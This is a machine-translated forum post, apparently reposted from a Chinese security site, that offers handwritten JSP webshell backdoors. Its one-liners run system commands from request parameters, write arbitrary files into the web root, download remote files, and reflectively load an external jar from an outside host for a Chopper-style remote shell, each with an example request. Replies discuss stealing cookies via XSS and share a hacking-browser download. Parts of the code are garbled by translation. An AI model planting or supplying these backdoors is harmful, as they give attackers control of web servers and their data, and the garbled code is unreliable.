Тази статия е огледална статия за машинен превод, моля, кликнете тук, за да преминете към оригиналната статия.

Изглед: 14991|Отговор: 7

[Инструменти за сигурност] Ръкописна JSP задна врата

[Копирай линк]
Публикувано в 2.01.2015 г. 18:46:57 ч. | | | |
Прехвърлен от: http://p2j.cn/?p=1627
1. Изпълнявайте системни команди:
Изпълнявайте системни команди без ехо:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
Заявка: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
Няма да има ехо след изпълнението, което е много удобно за bounce shells.
Има и ехота при потвърждаване на парола:
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        байт[] b = нов байт[2048];        out.print("<pre>);        while((a=in.read(b))!=-1){ out.println(new String(b));        } out.print("</pre>");    }%>
Заявка: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2. Кодирайте низа и го запишете в зададения файл:
1:
<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Заявка: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Запиши в уеб директорията:
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Заявка: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Заявка: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Запиши в уеб директорията:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Заявка: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
3: Изтеглете отдалечения файл (ако не използвате apache io utils, не можете да конвертирате входния поток в байт, така че е много дълъг...)
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    байт[] b = нов байт[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    докато ((a = в.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
Заявка: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
Изтеглете на уеб пътя:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    байт[] b = нов байт[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    докато ((a = в.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
Заявка: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
Четвърто: Отражението вика външния буркан, усъвършенстване на задната врата
Ако не харесвате горната функция за задната врата, която е твърде слаба и остаряла, можете да опитате това:
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))}).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%>
Заявка: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

Връзка с кухненски нож: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, парола 023.

Решение:
Използвайте отражение, за да заредите външен jar в текущото приложение и отражението изпълнява резултата от обработката на изхода. request.getParameterMap() съдържа всички поискани параметри. Тъй като външният jar пакет е зареден, сървърът трябва да има достъп до този jar адрес.




Предишен:Кризата зад текстовия файл TXT
Следващ:Java MD5 криптиране, Base64 криптиране и декриптиране Java изпълнява системния команден изходен код
Публикувано в 2.01.2015 г. 20:17:30 ч. |
Наскоро проучваш JSP backdoor?
 Хазяин| Публикувано в 2.01.2015 г. 20:39:44 ч. |
Admin публикувано на 2015-1-2 20:17
Наскоро проучваш JSP backdoor?

Виждал ли си някога JSP в едно изречение? Намерих го, не го изучавах задълбочено, не разбирах xss, най-накрая получих бисквитките вчера и не знам как да променя качването на бисквитки
Публикувано в 2.01.2015 г. 20:44:40 ч. |
Delver_Si Публикувано на 2015-1-2 20:39
Виждал ли си някога JSP в едно изречение? Намерих го, не копаех по-дълбоко, не разбрах xss, най-накрая взех бисквитките вчера, не знам как да модифицирам бисквитката...

Няма да са моите бисквитки, откраднати с персонализиран подпис,,,

Използвайте плъгина HackBar на Firefox
Публикувано в 2.01.2015 г. 20:48:57 ч. |
Delver_Si Публикувано на 2015-1-2 20:39
Виждал ли си някога JSP в едно изречение? Намерих го, не копаех по-дълбоко, не разбрах xss, най-накрая взех бисквитките вчера, не знам как да модифицирам бисквитката...

Ghost Brother Многофункционален браузър v1.0


鬼哥多功能浏览器v1.0.exe (72 KB, Брой изтегляния: 7, Цена за продажба: 1 Grain MB)
 Хазяин| Публикувано в 2.01.2015 г. 20:57:50 ч. |
Администратор публикувано на 2015-1-2 20:44
Няма да са моите бисквитки, откраднати с персонализиран подпис,,,

Използвайте плъгина HackBar на Firefox

Вчера свободната врата беше конвулсивна, не можах да се свържа и не можех да вляза във Firefox магазина.
 Хазяин| Публикувано в 2.01.2015 г. 20:59:01 ч. |
Администратор публикувано на 2015-1-2 20:44
Няма да са моите бисквитки, откраднати с персонализиран подпис,,,

Използвайте плъгина HackBar на Firefox

DZ няма тази вратичка
Публикувано в 2.01.2015 г. 21:00:22 ч. |
Delver_Si Публикувано на 2015-1-2 20:59
DZ няма тази вратичка

Не знам, можеш да го тестваш, не обърквай базата ми данни   

Всички използваме Tor Browser, за да заобиколим стената

Отричане:
Целият софтуер, програмни материали или статии, публикувани от Code Farmer Network, са само за учебни и изследователски цели; Горното съдържание не трябва да се използва за търговски или незаконни цели, в противен случай потребителите ще понесат всички последствия. Информацията на този сайт идва от интернет, а споровете за авторски права нямат нищо общо с този сайт. Трябва напълно да изтриете горното съдържание от компютъра си в рамките на 24 часа след изтеглянето. Ако ви харесва програмата, моля, подкрепете оригинален софтуер, купете регистрация и получете по-добри услуги. Ако има нарушение, моля, свържете се с нас по имейл.

Mail To:help@itsvse.com